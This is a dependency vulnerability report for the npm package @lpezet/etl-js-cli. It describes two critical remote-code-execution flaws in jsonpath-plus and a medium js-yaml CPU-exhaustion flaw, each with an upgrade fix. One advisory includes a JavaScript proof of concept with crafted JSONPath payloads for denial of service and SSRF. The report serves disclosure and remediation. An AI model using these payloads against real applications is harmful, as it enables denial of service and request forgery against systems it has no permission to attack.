Vulnerabilities |
3 via 3 paths |
|---|---|
Dependencies |
66 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: jsonpath-plus
- Introduced through: @lpezet/etl-js@3.1.2
Detailed paths
-
Introduced through: @lpezet/etl-js-cli@lpezet/etl-js-cli › @lpezet/etl-js@3.1.2 › jsonpath-plus@4.0.0
Overview
jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.
Note:
There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.
PoC
const { JSONPath } = require("jsonpath-plus");
const pathDoS =
"$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
"$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";
const result = JSONPath({
json: {
referrer: {
value: "http://authorized.com",
writable: true,
},
method: {
value: "POST",
writable: true,
},
body: {
value: "Hello, World!",
writable: true,
},
},
path: pathDoS,
});
result.toString(); //DoS
//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement
Remediation
Upgrade jsonpath-plus to version 10.2.0 or higher.
References
critical severity
- Vulnerable module: jsonpath-plus
- Introduced through: @lpezet/etl-js@3.1.2
Detailed paths
-
Introduced through: @lpezet/etl-js-cli@lpezet/etl-js-cli › @lpezet/etl-js@3.1.2 › jsonpath-plus@4.0.0
Overview
jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode.
Note:
This is caused by an incomplete fix for CVE-2024-21534.
Remediation
Upgrade jsonpath-plus to version 10.3.0 or higher.
References
medium severity
new
- Vulnerable module: js-yaml
- Introduced through: yaml-cfn@0.2.3
Detailed paths
-
Introduced through: @lpezet/etl-js-cli@lpezet/etl-js-cli › yaml-cfn@0.2.3 › js-yaml@3.15.0Remediation: Upgrade to yaml-cfn@0.3.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.
Remediation
Upgrade js-yaml to version 4.2.0 or higher.